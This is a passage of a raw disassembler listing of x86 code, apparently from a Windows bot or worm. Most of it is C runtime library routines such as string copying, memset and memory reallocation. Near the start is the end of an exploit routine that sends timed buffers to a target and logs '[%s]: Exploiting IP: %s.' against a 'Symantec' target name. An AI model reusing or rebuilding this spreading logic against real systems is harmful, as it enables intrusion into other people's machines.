ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 push 1 pop edi loc_41B800: ; CODE XREF: ___:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: ___:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: ___:0041B756j ; ___:0041B7B2j ... push ebx call dword_4CBA6C xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: ___:0041B781j ; ___:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: ___:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: ___:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B8E7: ; CODE XREF: ___:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: ___:0041B950j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: ___:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 nop call near ptr 27C0691h loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 call near ptr 27D0000h nop mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2860000h mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 nop call near ptr 27D0000h mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2860000h nop mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2860000h nop test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE48 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 nop call near ptr 27D0000h loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D084, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D084, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; --------------------------------------------------------------------------- mov eax, off_43AE1C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: ___:0041C16Bj push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41C1B3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp ; sub_422DFC+21E6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: ___:0041C199p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE24, edi jnz short loc_41C1D0 push [esp+4+arg_0] nop call near ptr 27305B5h push eax nop call near ptr 2720A65h loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE20, edi mov byte_4DBE1C, bl jnz short loc_41C224 mov eax, dword_4DD39C test eax, eax jz short loc_41C213 mov ecx, dword_4DD398 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD39C jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE24, edi call near ptr 77E75CB5h nop loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: ___:0041C179p ; ___:0041C188p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: 